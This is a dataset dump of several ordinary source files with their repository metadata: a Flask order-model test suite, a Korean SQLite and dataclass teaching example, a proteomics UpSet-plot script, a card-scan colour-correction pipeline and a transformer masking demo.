self.assertEqual(len(orders), 0)\n\n def test_cancel_order(self):\n \"\"\"It should change status of order to Cancelled\"\"\"\n orders = Order.all()\n self.assertEqual(orders, [])\n order = OrderFactory()\n order.create()\n # Assert that it was assigned an id and shows up in the database with status Cancelled\n self.assertIsNotNone(order.id)\n orders = Order.all()\n self.assertEqual(len(orders), 1)\n order = orders[0]\n order.status = \"Cancelled\"\n order.update()\n orders = Order.all()\n self.assertEqual(order.status, \"Cancelled\")\n\n def test_list_all_orders(self):\n \"\"\"It should List all orders in the database\"\"\"\n orders = Order.all()\n self.assertEqual(orders, [])\n for order in OrderFactory.create_batch(5):\n order.create()\n # Assert that there are not 5 orders in the database\n orders = Order.all()\n self.assertEqual(len(orders), 5)\n\n def test_find_by_name(self):\n \"\"\"It should Find an Order by name\"\"\"\n order = OrderFactory()\n order.create()\n\n # Fetch it back by name\n same_order = Order.find_by_name(order.name)[0]\n self.assertEqual(same_order.id, order.id)\n self.assertEqual(same_order.name, order.name)\n\n def test_serialize_an_order(self):\n \"\"\"It should Serialize an order\"\"\"\n order = OrderFactory()\n item = ItemFactory()\n order.items.append(item)\n serial_order = order.serialize()\n self.assertEqual(serial_order[\"id\"], order.id)\n self.assertEqual(serial_order[\"name\"], order.name)\n self.assertEqual(serial_order[\"street\"], order.street)\n self.assertEqual(serial_order[\"city\"], order.city)\n self.assertEqual(serial_order[\"state\"], order.state)\n self.assertEqual(serial_order[\"postal_code\"], order.postal_code)\n self.assertEqual(serial_order[\"date_created\"], str(order.date_created))\n self.assertEqual(serial_order[\"status\"], str(order.status))\n self.assertEqual(len(serial_order[\"items\"]), 1)\n items = serial_order[\"items\"]\n self.assertEqual(items[0][\"id\"], item.id)\n self.assertEqual(items[0][\"order_id\"], item.order_id)\n self.assertEqual(items[0][\"sku\"], item.sku)\n\n def test_deserialize_an_order(self):\n \"\"\"It should Deserialize an order\"\"\"\n order = OrderFactory()\n order.items.append(ItemFactory())\n order.create()\n serial_order = order.serialize()\n new_order = Order()\n new_order.deserialize(serial_order)\n self.assertEqual(new_order.name, order.name)\n self.assertEqual(new_order.street, order.street)\n self.assertEqual(new_order.city, order.city)\n self.assertEqual(new_order.state, order.state)\n self.assertEqual(new_order.postal_code, order.postal_code)\n self.assertEqual(new_order.status, order.status)\n\n def test_deserialize_with_key_error(self):\n \"\"\"It should not Deserialize an order with a KeyError\"\"\"\n order = Order()\n self.assertRaises(DataValidationError, order.deserialize, {})\n\n def test_deserialize_with_type_error(self):\n \"\"\"It should not Deserialize an order with a TypeError\"\"\"\n order = Order()\n self.assertRaises(DataValidationError, order.deserialize, [])\n\n def test_deserialize_item_key_error(self):\n \"\"\"It should not Deserialize an item with a KeyError\"\"\"\n item = Item()\n self.assertRaises(DataValidationError, item.deserialize, {})\n\n def test_deserialize_item_type_error(self):\n \"\"\"It should not Deserialize an item with a TypeError\"\"\"\n item = Item()\n self.assertRaises(DataValidationError, item.deserialize, [])\n\n def test_add_order_item(self):\n \"\"\"It should Create an order with an item and add it to the database\"\"\"\n orders = Order.all()\n self.assertEqual(orders, [])\n order = OrderFactory()\n item = ItemFactory(order=order)\n order.items.append(item)\n order.create()\n # Assert that it was assigned an id and shows up in the database\n self.assertIsNotNone(order.id)\n orders = Order.all()\n self.assertEqual(len(orders), 1)\n\n new_order = Order.find(order.id)\n self.assertEqual(new_order.items[0].item_price, item.item_price)\n\n item2 = ItemFactory(order=order)\n order.items.append(item2)\n order.update()\n\n new_order = Order.find(order.id)\n self.assertEqual(len(new_order.items), 2)\n self.assertEqual(new_order.items[1].item_price, item2.item_price)\n\n def test_update_order_item(self):\n \"\"\"It should Update an orders item\"\"\"\n orders = Order.all()\n self.assertEqual(orders, [])\n\n order = OrderFactory()\n item = ItemFactory(order=order)\n order.create()\n # Assert that it was assigned an id and shows up in the database\n self.assertIsNotNone(order.id)\n orders = Order.all()\n self.assertEqual(len(orders), 1)\n\n # Fetch it back\n order = Order.find(order.id)\n old_item = order.items[0]\n print(\"%r\", old_item)\n self.assertEqual(old_item.sku, item.sku)\n # Change the sku\n old_item.sku = 123456789\n order.update()\n\n # Fetch it back again\n order = Order.find(order.id)\n item = order.items[0]\n self.assertEqual(item.sku, 123456789)\n\n def test_delete_order_item(self):\n \"\"\"It should Delete an orders item\"\"\"\n orders = Order.all()\n self.assertEqual(orders, [])\n\n order = OrderFactory()\n item = ItemFactory(order=order)\n order.create()\n # Assert that it was assigned an id and shows up in the database\n self.assertIsNotNone(order.id)\n orders = Order.all()\n self.assertEqual(len(orders), 1)\n\n # Fetch it back\n order = Order.find(order.id)\n item = order.items[0]\n item.delete()\n order.update()\n\n # Fetch it back again\n order = Order.find(order.id)\n self.assertEqual(len(order.items), 0)\n", "repo_name": "CSCI-GA-2820-SP23-001/orders", "sub_path": "tests/test_models.py", "file_name": "test_models.py", "file_ext": "py", "file_size_in_byte": 11253, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.getenv", "line_number": 12, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 20, "usage_type": "attribute"}, {"api_name": "service.app.config", "line_number": 26, "usage_type": "attribute"}, {"api_name": "service.app", "line_number": 26, "usage_type": "name"}, {"api_name": "service.app.config", "line_number": 27, "usage_type": "attribute"}, {"api_name": "service.app", "line_number": 27, "usage_type": "name"}, {"api_name": "service.app.config", "line_number": 28, "usage_type": "attribute"}, {"api_name": "service.app", "line_number": 28, "usage_type": "name"}, {"api_name": "service.app.logger.setLevel", "line_number": 29, "usage_type": "call"}, {"api_name": "service.app.logger", "line_number": 29, "usage_type": "attribute"}, {"api_name": "service.app", "line_number": 29, "usage_type": "name"}, {"api_name": "logging.CRITICAL", "line_number": 29, "usage_type": "attribute"}, {"api_name": "service.models.Order.init_db", "line_number": 30, "usage_type": "call"}, {"api_name": "service.app", "line_number": 30, "usage_type": "argument"}, {"api_name": "service.models.Order", "line_number": 30, "usage_type": "name"}, {"api_name": "service.models.db.session.query", "line_number": 38, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 38, "usage_type": "argument"}, {"api_name": "service.models.db.session", "line_number": 38, "usage_type": "attribute"}, {"api_name": "service.models.db", "line_number": 38, "usage_type": "name"}, {"api_name": "service.models.db.session.query", "line_number": 39, "usage_type": "call"}, {"api_name": "service.models.Item", "line_number": 39, "usage_type": "argument"}, {"api_name": "service.models.db.session", "line_number": 39, "usage_type": "attribute"}, {"api_name": "service.models.db", "line_number": 39, "usage_type": "name"}, {"api_name": "service.models.db.session.commit", "line_number": 40, "usage_type": "call"}, {"api_name": "service.models.db.session", "line_number": 40, "usage_type": "attribute"}, {"api_name": "service.models.db", "line_number": 40, "usage_type": "name"}, {"api_name": "service.models.db.session.remove", "line_number": 44, "usage_type": "call"}, {"api_name": "service.models.db.session", "line_number": 44, "usage_type": "attribute"}, {"api_name": "service.models.db", "line_number": 44, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory", "line_number": 52, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 54, "usage_type": "call"}, {"api_name": "service.models.Order.all", "line_number": 78, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 78, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory", "line_number": 80, "usage_type": "call"}, {"api_name": "service.models.Order.all", "line_number": 84, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 84, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory", "line_number": 89, "usage_type": "call"}, {"api_name": "service.models.Order.find", "line_number": 94, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 94, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory", "line_number": 114, "usage_type": "call"}, {"api_name": "service.models.Order.find", "line_number": 121, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 121, "usage_type": "name"}, {"api_name": "service.models.Order.find", "line_number": 126, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 126, "usage_type": "name"}, {"api_name": "service.models.Order.all", "line_number": 131, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 131, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory", "line_number": 133, "usage_type": "call"}, {"api_name": "service.models.Order.all", "line_number": 137, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 137, "usage_type": "name"}, {"api_name": "service.models.Order.all", "line_number": 141, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 141, "usage_type": "name"}, {"api_name": "service.models.Order.all", "line_number": 146, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 146, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory", "line_number": 148, "usage_type": "call"}, {"api_name": "service.models.Order.all", "line_number": 152, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 152, "usage_type": "name"}, {"api_name": "service.models.Order.all", "line_number": 157, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 157, "usage_type": "name"}, {"api_name": "service.models.Order.all", "line_number": 162, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 162, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory.create_batch", "line_number": 164, "usage_type": "call"}, {"api_name": "tests.factories.OrderFactory", "line_number": 164, "usage_type": "name"}, {"api_name": "service.models.Order.all", "line_number": 167, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 167, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory", "line_number": 172, "usage_type": "call"}, {"api_name": "service.models.Order.find_by_name", "line_number": 176, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 176, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory", "line_number": 182, "usage_type": "call"}, {"api_name": "tests.factories.ItemFactory", "line_number": 183, "usage_type": "call"}, {"api_name": "tests.factories.OrderFactory", "line_number": 202, "usage_type": "call"}, {"api_name": "tests.factories.ItemFactory", "line_number": 203, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 206, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 217, "usage_type": "call"}, {"api_name": "service.models.DataValidationError", "line_number": 218, "usage_type": "argument"}, {"api_name": "service.models.Order", "line_number": 222, "usage_type": "call"}, {"api_name": "service.models.DataValidationError", "line_number": 223, "usage_type": "argument"}, {"api_name": "service.models.Item", "line_number": 227, "usage_type": "call"}, {"api_name": "service.models.DataValidationError", "line_number": 228, "usage_type": "argument"}, {"api_name": "service.models.Item", "line_number": 232, "usage_type": "call"}, {"api_name": "service.models.DataValidationError", "line_number": 233, "usage_type": "argument"}, {"api_name": "service.models.Order.all", "line_number": 237, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 237, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory", "line_number": 239, "usage_type": "call"}, {"api_name": "tests.factories.ItemFactory", "line_number": 240, "usage_type": "call"}, {"api_name": "service.models.Order.all", "line_number": 245, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 245, "usage_type": "name"}, {"api_name": "service.models.Order.find", "line_number": 248, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 248, "usage_type": "name"}, {"api_name": "tests.factories.ItemFactory", "line_number": 251, "usage_type": "call"}, {"api_name": "service.models.Order.find", "line_number": 255, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 255, "usage_type": "name"}, {"api_name": "service.models.Order.all", "line_number": 261, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 261, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory", "line_number": 264, "usage_type": "call"}, {"api_name": "tests.factories.ItemFactory", "line_number": 265, "usage_type": "call"}, {"api_name": "service.models.Order.all", "line_number": 269, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 269, "usage_type": "name"}, {"api_name": "service.models.Order.find", "line_number": 273, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 273, "usage_type": "name"}, {"api_name": "service.models.Order.find", "line_number": 282, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 282, "usage_type": "name"}, {"api_name": "service.models.Order.all", "line_number": 288, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 288, "usage_type": "name"}, {"api_name": "tests.factories.OrderFactory", "line_number": 291, "usage_type": "call"}, {"api_name": "tests.factories.ItemFactory", "line_number": 292, "usage_type": "call"}, {"api_name": "service.models.Order.all", "line_number": 296, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 296, "usage_type": "name"}, {"api_name": "service.models.Order.find", "line_number": 300, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 300, "usage_type": "name"}, {"api_name": "service.models.Order.find", "line_number": 306, "usage_type": "call"}, {"api_name": "service.models.Order", "line_number": 306, "usage_type": "name"}]} {"seq_id": "72110259749", "text": "# author: choi sugil\n# date: 2023.10.25 version: 1.0.0 license: MIT brief: keyward\n# description: 데이터클래스 와 클래스를 연동하는 프로그램 sqlite로 데이터를 읽어옴\nfrom dataclasses import dataclass, field\nimport sqlite3\n\n\n@dataclass\nclass StudentArg:\n name: str\n korean: int = 0\n math: int = 0\n english: int = 0\n science: int = 0\n score_set: list = field(default_factory=list)\n\n def __post_init__(self):\n self.score_set = [self.korean, self.math, self.english, self.science]\n\n\nclass Student:\n def __init__(self, arg: StudentArg):\n \"\"\"student class\n Args:\n args (StudentArg): Student dataclass\n\n Attributes:\n name: str\n korean: int\n math: int\n english: int\n science: int\n score_set: list\n \"\"\"\n self.name = arg.name\n self.korean = arg.korean\n self.math = arg.math\n self.english = arg.english\n self.science = arg.science\n self.score_set = arg.score_set\n\n def get_sum(self):\n return sum(self.score_set)\n\n def get_average(self):\n return self.get_sum() / 4\n\n def __str__(self):\n return f\"{self.name}\\t{self.get_sum()}\\t{self.get_average():.2f}\"\n\n\ndef main():\n students = []\n conn = sqlite3.connect(\"C:\\chungnam_chatbot\\python\\example.db\")\n c = conn.cursor()\n c.execute(\"SELECT * FROM students;\")\n rows = c.fetchall()\n for row in rows:\n arg = StudentArg(*row)\n students.append(Student(arg))\n print(f\"{students[-1].name} : {students[-1].score_set}\")\n conn.close()\n\n print(\"이름\\t총점\\t평균\")\n for student in students:\n print(student)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "freshmea/chungnam_chatbot", "sub_path": "python/a64_class_method_dataclassAndMethod_sqlite.py", "file_name": "a64_class_method_dataclassAndMethod_sqlite.py", "file_ext": "py", "file_size_in_byte": 1764, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dataclasses.field", "line_number": 15, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 8, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 54, "usage_type": "call"}]} {"seq_id": "41573922312", "text": "import os\nimport pandas as pd\nimport numpy as np\nfrom upsetplot import from_contents, plot\nimport matplotlib.pyplot as plt\n\nfrom GEN_Utils import FileHandling\nfrom loguru import logger\n\nlogger.info('Import OK')\n\ninput_folder = 'results/tpemi_proteomics/peptide_summary/'\noutput_folder = 'results/tpemi_proteomics/intersections/'\n\n\nif not os.path.exists(output_folder):\n os.makedirs(output_folder)\n\n# Read in raw data\ncys_peptides = pd.read_excel(f'{input_folder}peptide_summary.xlsx', sheet_name=None)\npeptides = cys_peptides['summary'].copy()\npeptides.drop([col for col in peptides.columns.tolist() if 'Unnamed: ' in col], axis=1, inplace=True)\n\ntreatments = ['Celastrol', 'Novobiocin', 'MG132', 'Ver155008', 'Staurosporine']\nproteins = pd.pivot_table(peptides.copy(), index=['Proteins'], columns='treatment', values='log2_thresh_pval_ratio')\nproteins = proteins[treatments].dropna() # select only proteins quantified in all treatments\nproteins_all_quant = pd.melt(proteins.reset_index(), id_vars='Proteins', value_vars=treatments, var_name='treatment', value_name='log2_thresh_pval_ratio')\nproteins_all_quant_one_change = pd.melt(proteins.replace(0, np.nan).dropna(how='all').replace(np.nan, 0).reset_index(), id_vars='Proteins', value_vars=treatments, var_name='treatment', value_name='log2_thresh_pval_ratio')\n\npeptide_quant = pd.pivot_table(peptides.copy(), index=[\n 'Proteins', 'Sequence'], columns='treatment', values='log2_thresh_pval_ratio')\n# select only proteins quantified in all treatments\npeptide_quant = peptide_quant[treatments].dropna()\npeptides_all_quant = pd.melt(peptide_quant.reset_index(), id_vars=['Proteins', 'Sequence'], value_vars=treatments,var_name='treatment', value_name='log2_thresh_pval_ratio')\npeptides_all_quant_one_change = pd.melt(peptide_quant.replace(0, np.nan).dropna(how='all').replace(np.nan, 0).reset_index(), id_vars=['Proteins', 'Sequence'], value_vars=treatments, var_name='treatment', value_name='log2_thresh_pval_ratio')\n# -----------------------------------UpSet plotting-----------------------------------\n# Generate UpSet figure for significant proteins i.e. any protein that had at least one significant change \n# turn into dictionary to feed to pyupset\nchanged_prots = {df_name: df.replace(0, np.nan).dropna(subset=['log2_thresh_pval_ratio'])[\n 'Proteins'].unique().tolist() for df_name, df in proteins_all_quant_one_change.groupby('treatment')}\nchanged_prots = from_contents(changed_prots)\n\nfig = plot(changed_prots, sort_by='degree', show_counts=True)\nplt.savefig(f'{output_folder}protein_upset.svg')\n\n# Generate UpSet figure for significant peptides\nchanged_peps = {df_name: df.replace(0, np.nan).dropna(subset=['log2_thresh_pval_ratio'])[\n 'Sequence'].unique().tolist() for df_name, df in peptides_all_quant_one_change.groupby('treatment')}\nchanged_peps = from_contents(changed_peps)\n\nfig = plot(changed_peps, sort_by='degree', show_counts=True)\n\n\n#-------------------Generating degree count results-----\ndegree_peps = changed_peps.reset_index().set_index('id').sum(axis=1).reset_index()\ndegree_peps.columns = ['Sequence', 'Degree']\ndegree_peps['Proteins'] = degree_peps['Sequence'].map(dict(peptides[['Sequence', 'Proteins']].values))\npeps_summary = pd.merge(changed_peps.reset_index().rename(columns={'id': 'Sequence'}), degree_peps, on=['Sequence'])\n\ndegree_prots = changed_prots.reset_index().set_index('id').sum(axis=1).reset_index()\ndegree_prots.columns = ['Proteins', 'Degree']\nprots_summary = pd.merge(changed_prots.reset_index().rename(\n columns={'id': 'Proteins'}), degree_prots, on=['Proteins'])\n\n# Save summary info\npeps_summary.to_csv(f'{output_folder}peptide_intersection_degree.csv')\nprots_summary.to_csv(f'{output_folder}protein_intersection_degree.csv')\n", "repo_name": "dezeraecox-manuscripts/COX_Proteome-organisation", "sub_path": "src/tpemi_proteomics/intersections.py", "file_name": "intersections.py", "file_ext": "py", "file_size_in_byte": 3764, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "loguru.logger.info", "line_number": 10, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 10, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.pivot_table", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.melt", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.melt", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pandas.pivot_table", "line_number": 30, "usage_type": "call"}, {"api_name": "pandas.melt", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.melt", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 39, "usage_type": "attribute"}, {"api_name": "upsetplot.from_contents", "line_number": 41, "usage_type": "call"}, {"api_name": "upsetplot.plot", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.nan", "line_number": 47, "usage_type": "attribute"}, {"api_name": "upsetplot.from_contents", "line_number": 49, "usage_type": "call"}, {"api_name": "upsetplot.plot", "line_number": 51, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 58, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 62, "usage_type": "call"}]} {"seq_id": "23792866200", "text": "import glob\nimport os\n\nimport argparse\nimport cv2 as cv\nimport numpy as np\nfrom center_combined import center_combined\nfrom config import get_config\nfrom fix_color import scanner_refl_fix, cctiff\nfrom white_balance import white_balance\nfrom shrink_and_clip import shrink_and_clip\nfrom srgb_and_corners import srgb_and_corners_pipeline\n\nCONFIG_SCANNER_REFL_FIX_CALIBRATION_PATH = \"/Users/paranada/icc_profiles/scanner/scanner_cal.txt\"\nCONFIG_IMAGE_DPI = 1600\n# defined by libtiff\nCOMPRESSION_NONE = 1\n\nPROPHOTO_GAMMA = 1.80078125\nSCALAR_16_BIT = 65535\nSCALAR_8_BIT = 255\n\n\ndef run_pipeline(path: str, input_profile, config, calibration_input_file, offsets_file, output_folder,\n is_quick) -> None:\n \"\"\"\n fix_color\n white_balance\n camera_calibrate\n center\n shrink_and_clip\n srgb_and_corners\n \"\"\"\n filename = os.path.basename(path)\n full_save_path_no_extension = os.path.join(output_folder, filename).split(\".tif\")[0]\n\n path_f = path if is_quick else scanner_refl_fix(path)\n\n image_f_pp = cctiff(input_profile, path_f, output_folder)\n\n # filename = os.path.basename(image_f_pp)\n # full_save_path_no_extension = os.path.join(save_path, filename).split(\".tif\")[0]\n image = cv.imread(image_f_pp, cv.IMREAD_UNCHANGED)\n is_16bit = isinstance(image[0, 0, 0], np.uint16)\n scalar = 65535 if is_16bit else 255\n image_float = image / scalar\n image_float **= PROPHOTO_GAMMA\n\n os.remove(image_f_pp)\n\n # convert BGR->RGB\n image_float = image_float[..., ::-1]\n\n image_float = white_balance(image_float, config[\"white_point_xyz\"])\n\n # convert RGB->BGR\n image_float = image_float[..., ::-1]\n\n # image_test = image_float ** (1 / PROPHOTO_GAMMA)\n # image_test *= scalar\n # dst = np.uint16(image_test) if is_16bit else np.uint8(image_test)\n # full_output_path = full_save_path_no_extension + \"-mh_wb.tif\"\n # cv.imwrite(\n # full_output_path, dst,\n # params=[cv.IMWRITE_TIFF_XDPI, 1600, cv.IMWRITE_TIFF_YDPI, 1600, cv.IMWRITE_TIFF_COMPRESSION, COMPRESSION_NONE])\n\n # TODO use xy_offsets here, but for now all cards of interest use 0,0\n image_float = center_combined(image_float, offsets_file, calibration_input_file, config[\"lower_hsv\"],\n config[\"upper_hsv\"])\n\n image_float = shrink_and_clip(image_float, config[\"black_point_percentage\"], config[\"gamma\"])\n\n image_float **= 1 / PROPHOTO_GAMMA\n image_float *= scalar\n dst = np.uint16(image_float) if is_16bit else np.uint8(image_float)\n full_output_path = full_save_path_no_extension + \"-mh.tif\"\n cv.imwrite(\n full_output_path, dst,\n params=[cv.IMWRITE_TIFF_XDPI, 295, cv.IMWRITE_TIFF_YDPI, 295, cv.IMWRITE_TIFF_COMPRESSION, COMPRESSION_NONE])\n\n srgb_and_corners_pipeline(full_output_path, output_folder)\n # cctiff_srgb(full_output_path)\n\n os.remove(full_output_path)\n\n\ndef parse_and_validate(args):\n ret = {}\n if args.expansion and args.holo_type:\n ret |= get_config(args.expansion, args.holo_type)\n elif not args.expansion and not args.holo_type:\n # TODO: allow for defining all config through command-line. maybe.\n pass\n else:\n raise ValueError(\"if either expansion or holo_type is defined, both must be present\")\n\n if args.src_wp:\n source_wp_xyz = np.array(args.src_wp.split(\",\"), dtype=np.float_)\n if len(source_wp_xyz) != 3:\n raise ValueError(\"source white point must be given as X,Y,Z\")\n ret[\"white_point_xyz\"] = source_wp_xyz\n\n print(\"config\", ret)\n\n config_keys = (\"xy_offset\", \"white_point_xyz\", \"black_point_percentage\", \"gamma\", \"lower_hsv\", \"upper_hsv\")\n for key in config_keys:\n if key not in ret:\n raise ValueError(key + \" must be present\")\n\n return ret\n\n\nif __name__ == \"__main__\":\n np.set_printoptions(suppress=True)\n parser = argparse.ArgumentParser(description=\"Your favorite Rocket Gang Secret Mecha.\")\n parser.add_argument(\n \"path\",\n metavar=\"input_image\",\n type=str,\n nargs=\"+\",\n help=\"path or list of paths to an image.\")\n parser.add_argument(\n \"-e\",\n dest=\"expansion\",\n type=str,\n help=\"expansion abbreviation\")\n parser.add_argument(\n \"-t\",\n dest=\"holo_type\",\n type=str,\n help=\"holo type (one of nonholo, holo, ex, shattered)\")\n parser.add_argument(\n \"-i\", dest=\"calibration_input_file\", type=str,\n help=\"input file that describes a calibration created with camera_calibrate -c\",\n required=True)\n parser.add_argument(\n \"-o\", dest=\"output_folder\", type=str, default=\".\",\n help=\"output folder for color-corrected images\")\n parser.add_argument(\n \"-f\", dest=\"offsets_file\", type=str,\n help=\"file that describes offsets of the distortion target and image ROIs\")\n parser.add_argument(\n \"-p\",\n dest=\"input_profile\",\n type=str,\n help=\"input icc profile\",\n required=True)\n parser.add_argument(\n \"-q\", \"--quick\",\n action=\"store_true\",\n help=\"enable quick mode. this skips the call to srf.\")\n parser.add_argument(\n \"-s\",\n dest=\"src_wp\",\n type=str,\n help=\"source white point as X,Y,Z (scaled to 1). overwrites any config found by specifying -e & -t\")\n args = parser.parse_args()\n config = parse_and_validate(args)\n paths = []\n for i in args.path:\n image_path = glob.glob(i)\n if isinstance(image_path, list) and image_path:\n paths.extend(image_path)\n else:\n print(f\"{i} is not a valid path, skipping\")\n for image_path in paths:\n run_pipeline(image_path, args.input_profile, config, args.calibration_input_file, args.offsets_file,\n args.output_folder, args.quick)\n", "repo_name": "jparanada/magic-hand", "sub_path": "magic_hand/magic_hand.py", "file_name": "magic_hand.py", "file_ext": "py", "file_size_in_byte": 5845, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.basename", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "fix_color.scanner_refl_fix", "line_number": 37, "usage_type": "call"}, {"api_name": "fix_color.cctiff", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 43, "usage_type": "attribute"}, {"api_name": "numpy.uint16", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 49, "usage_type": "call"}, {"api_name": "white_balance.white_balance", "line_number": 54, "usage_type": "call"}, {"api_name": "center_combined.center_combined", "line_number": 68, "usage_type": "call"}, {"api_name": "shrink_and_clip.shrink_and_clip", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 75, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.IMWRITE_TIFF_XDPI", "line_number": 79, "usage_type": "attribute"}, {"api_name": "cv2.IMWRITE_TIFF_YDPI", "line_number": 79, "usage_type": "attribute"}, {"api_name": "cv2.IMWRITE_TIFF_COMPRESSION", "line_number": 79, "usage_type": "attribute"}, {"api_name": "srgb_and_corners.srgb_and_corners_pipeline", "line_number": 81, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 84, "usage_type": "call"}, {"api_name": "config.get_config", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.float_", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.set_printoptions", "line_number": 114, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 115, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 161, "usage_type": "call"}]} {"seq_id": "22553123393", "text": "import torch\nfrom torch.autograd import Variable\nimport numpy as np\n\n\ndef subsequent_mask(size):\n \"Mask out subsequent positions.\"\n attn_shape = (1, size, size)\n subsequent_mask = np.triu(np.ones(attn_shape), k=1).astype('uint8')\n return torch.from_numpy(subsequent_mask) == 0\n\n\ndef make_std_mask(tgt, pad):\n \"Create a mask to hide padding and future words.\"\n tgt_mask = (tgt != pad).unsqueeze(-2)\n tgt_mask = tgt_mask & Variable(subsequent_mask(tgt.size(-1)).type_as(tgt_mask.data))\n return tgt_mask\n\n\nscores = torch.tensor([0.1, 0.3, 0.3, 0.1, 0.1, 0.03, 0.05, 0.02])\ntarget = torch.tensor([48, 45, 67, 36, 49, 34, 23, 32])\nprint(\"Target: \", target)\nlook_ahead_mask = make_std_mask(target, 0)\nprint(\"Attn Mask: \", look_ahead_mask)\n\nprint(\"Attn Scores: \", scores)\nprint(\"After applying attn mask:\")\nscores = scores.masked_fill(look_ahead_mask == 0, -1e9)\nprint(scores.numpy())\n", "repo_name": "makeesyai/makeesy-deep-learning", "sub_path": "self_attention/test_subsequent_masking.py", "file_name": "test_subsequent_masking.py", "file_ext": "py", "file_size_in_byte": 902, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.triu", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 21, "usage_type": "call"}]} {"seq_id": "24619557092", "text": "from datetime import date, datetime, timedelta\n\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand\n\nfrom kitsune.kpi.management import utils\nfrom kitsune.kpi.models import (\n 